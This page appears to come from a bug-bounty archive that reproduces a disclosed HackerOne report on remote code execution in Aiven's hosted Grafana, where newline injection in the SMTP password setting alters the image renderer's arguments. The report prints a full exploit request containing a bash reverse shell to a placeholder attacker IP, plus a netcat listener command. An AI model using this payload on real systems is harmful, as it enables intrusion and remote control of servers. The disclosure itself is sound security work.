Skip to content
RCE Disclosed report Advanced

Grafana RCE via SMTP server parameter injection

The SMTP password field in Aiven's Grafana configuration accepted newline characters, letting an attacker inject extra configuration lines. By injecting a renderer command prefix, an attacker could run arbitrary commands on the Grafana server.

jarij Follow

Originally disclosed on HackerOne

Bounty$5,000 Critical View original
  • Triaged in 27 hours
  • Fixed in 7 days
  • Paid in 6 days
  • Disclosed after 18 months

Summary:

This report is similar to #1180653, except with different parameter injection entrypoint.

SMTP server password configuration setting accepts new line characters. This can be used to set non-exported configuration variables. Using this CRLF-injection, the rendering_args of grafana image renderer can be modified which leads to code execution on the Grafana server.

Steps To Reproduce:

1.Create Aiven Grafana instance 2.Setup netcat listener on your server: nc -n -lvp 4444 3.Send the following request to the grafana instance, replace place holders. The aivenv1 token can be retrieved by inspecting the browser traffic. 4. Browse to https://INSTANCE_SUBDOMAIN.aivencloud.com/render/x to trigger the exploit.

HTTP
PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Connection: keep-alive
Accept: application/json
Authorization: aivenv1 AIVEN_TOKEN_HERE
X-Aiven-Client-Version: aiven-console/3.5.1-1104.g2809991854
Content-Type: application/json
Origin: https://console.aiven.io

{
    "user_config": {
        "smtp_server": {
            "host": "example.org",
            "port": 1,
            "from_address": "[email protected]",
            "password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
        }
    }
}

Impact

Command execution on the grafana server. Access and modify data on the grafana server and possibly the attacker could pivot into other servers on the aiven network.

The original report as published on HackerOne, by jarij. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the SMTP password value was written into Grafana's configuration file without rejecting or escaping newline characters, allowing injection of arbitrary config keys.

Impact

An attacker could execute commands on the Grafana server, access and modify its data, and possibly pivot to other servers on the Aiven network.

What the attacker needed

An Aiven account with a Grafana instance; a valid Aiven API token; attacker-controlled server for the listener

How it was found

  1. Create an Aiven Grafana instance.
  2. Start a netcat listener on the attacker's server.
  3. Send a configuration update request to the Aiven console API with a crafted SMTP password containing injected config lines.
  4. Visit the render endpoint on the Grafana instance to trigger the injected command.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Configuration files are often built by pasting user-supplied values into a text file. If a value can contain a line break, the attacker can start a new line and add their own settings. Here that let them tell Grafana to run a shell command when it rendered an image.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by jarij

View all

4 more disclosed reports, best first.

More from Aiven Ltd

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.